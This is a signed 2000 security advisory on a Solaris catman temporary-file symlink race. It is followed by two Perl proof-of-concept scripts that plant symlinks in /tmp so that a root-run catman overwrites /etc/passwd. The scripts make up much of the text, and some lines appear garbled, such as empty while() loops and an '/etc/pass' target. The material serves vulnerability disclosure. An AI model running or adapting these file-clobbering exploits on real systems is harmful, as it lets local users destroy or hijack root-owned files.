-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Solaris 2.7/2.8 catman temp file vulnerability. Larry W. Cashdollar Vapid Labs Date Published: 12/18/2000 Advisory ID: 11242000-02 Risk: Low Title: catman temp file vulnerability. Class: Design Error Remotely Exploitable: no Locally Exploitable: Yes Vulnerability Description: Through the use of symlinking temporary files created by /usr/bin/catman upon execution by root a local user can clobber root owned files. Vulnerable Packages/Systems: Solaris 2.x Sparc/x86 Solution/Vendor Information/Workaround: The vendor is currently working on a solution. See references section for Vendor contact information. Sun BugID: 4392144 Vendor notified on: 11/23/2000 Credits: I alerted sun to this issue 11/23/2000 they responded 11/24/2000. Kudos to the Sun Engineering group. This response time should be a model to other vendors. Technical Description: The catman command creates preformatted versions of the online manual. It also creates the windex database for utilities like apropos and whatis. The problem lies with catman creating a temporary file in /tmp, the file has the form of /tmp/sman_pidofcatman. An attacker can monitor the process list for the execution of catman and create a symlink to a root owned file. catman will upon execution overwrite the contents of that file. This is a new bug for catman and is not addressed in the current patch cluster for Solaris 2.7 Sparc. Exploit/Concept Code: see attachments. References: Sun Microsystems. http://www.sun.com Vapid Labs. http://vapid.betteros.org Email: Larry W. Cashdollar DISCLAIMER: The contents of this advisory are copyright (c) 2000 Larry W. Cashdollar and may be distributed freely provided that no fee is charged for this distribution and proper credit is given. Ver 2.4 11/29/2000 -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.4 (OpenBSD) Comment: For info see http://www.gnupg.org iEYEARECAAYFAjo+7bgACgkQ1HPgUEhXV2j9pQCgts8D7VC80cnl3JhkjKDzRE6d WLsAnA9YgRPnjrrpJk0xAkzkWEf3JKb6 =LziC -----END PGP SIGNATURE----- #!/usr/local/bin/perl -w # The problem is catman creates files in /tmp insecurly. They are based on the # PID of the catman process, catman will happily clobber any files that are # symlinked to that file. # The idea of this script is to create a block of symlinks to the target file # with the current PID as a starting point. Depending on what load your # system has this creates 1000 files in /tmp as sman_$currentpid + 1000. # The drawback is you would have to know around when root would be executing # catman. # A better solution would be to monitor for the catman process and create the # link before catman creates the file. I think this is a really small window # however. This worked on a patched Solaris 2.7 box (August 2000 patch # cluster) # SunOS rootabega 5.7 Generic_106541-12 sun4u sparc SUNW,Ultra-1 # lwc@vapid.betteros.org 11/21/2000 Vapid Labs. # http://vapid.betteros.org $clobber = "/etc/passwd"; #file to clobber $X=getpgrp(); $Xc=$X; #Constant $Y=$X+1000;#Constant while($X < $Y) { print "Linking /tmp/sman_$X to $clobber :"; # Change $clobber to what you want to clobber. if (symlink ($clobber, "/tmp/sman_$X")) { print "Sucess\n"; } else { print "failed, Busy system?\n";} $X=$X+1; } #Watch /tmp and see if catman is executed in time. while(1) { $list = "/usr/bin/ls -l /tmp | grep sman|grep root |"; open (list,$list) or "die cant open ls...\n"; while() { @args = split "_",$_; chop ($args[1]); if ($args[1] >= $Xc && $args[1] <= $Y){ print "Looks like pid $args[1] is the winner\n cleaning....\n"; `/usr/bin/rm -f /tmp/sman*`; exit(1); } } } #!/usr/local/bin/perl -w # The problem is catman creates files in /tmp insecurly. They are based on the PID of the catman # process, catman will happily clobber any files that are symlinked to that file. # The idea of this script is to watch the process list for the catman process, # get the pid and Create a symlink in /tmp to our file to be # clobbered. This exploit depends on system speed and process load. # This worked on a patched Solaris 2.7 box (August 2000 patch cluster) # SunOS rootabega 5.7 Generic_106541-12 sun4u sparc SUNW,Ultra-1 # lwc@vapid.betteros.org 11/21/2000 Vapid Labs. # http://vapid.betteros.org $clobber = "/etc/pass"; while(1) { open ps,"ps -ef | grep -v grep |grep -v PID |"; while() { @args = split " ", $_; if (/catman/) { print "Symlinking sman_$args[1] to $clobber\n"; symlink($clobber,"/tmp/sman_$args[1]"); exit(1); } } }